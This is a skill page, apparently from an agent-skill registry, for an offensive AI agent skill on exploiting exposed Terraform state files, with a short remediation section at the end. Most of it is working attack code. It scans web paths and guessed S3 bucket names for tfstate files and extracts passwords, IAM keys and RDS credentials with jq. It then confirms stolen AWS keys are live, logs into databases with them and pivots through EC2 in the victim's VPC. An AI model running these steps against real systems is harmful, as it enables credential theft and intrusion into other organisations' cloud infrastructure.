Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.
53
61%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.mdTerraform's terraform.tfstate file is a plaintext JSON map of every
resource Terraform manages, including:
Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:
public-read ACLterraform.tfstate in a public Git repo (commit history!)terraform.tfstate.backup left in webrootWeb-exposed:
# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
'/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
'/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
echo "FOUND: $TARGET$path"
done
# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
-x tfstate,tfstate.backup,tfstate.jsonS3-direct:
# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'
# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
"tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
doneGit-history:
# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository
# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate
# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
select(.key | test("password|secret|token|key|credential"; "i")) |
"\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt
# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
.instances[] | .attributes |
"\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate
# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
/tmp/state.tfstate
# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
.value' /tmp/state.tfstate
# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
.instances[] | .attributes.environment[]?.variables' /tmp/state.tfstateDecepticon ingest:
tfstate_audit("/tmp/state.tfstate")Beyond raw secrets, the state reveals:
This data alone is high-value recon for a follow-on engagement.
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or servicePivot to aws-iam-enum/SKILL.md for privesc from here.
With password from state:
ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)
# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER # PGPASSWORD from stateIf RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.
kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
props={"severity":"critical","secrets_found":<n>})
for each cred:
kg_add_node(kind="credential", label="<service>:<value>")
kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")GetCallerIdentity is benign but observable)*Sandbox* / *test* IAM users being used from new IPsCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0# Migrate to S3 backend with encryption + versioning
terraform {
backend "s3" {
bucket = "tf-state-$ORG"
key = "infra.tfstate"
region = "us-east-1"
encrypt = true
kms_key_id = "arn:aws:kms:...:key/..."
dynamodb_table = "tf-state-lock"
}
}
# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"-backend-config=encrypt=true defaults to local state which lands in artifact storagee34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.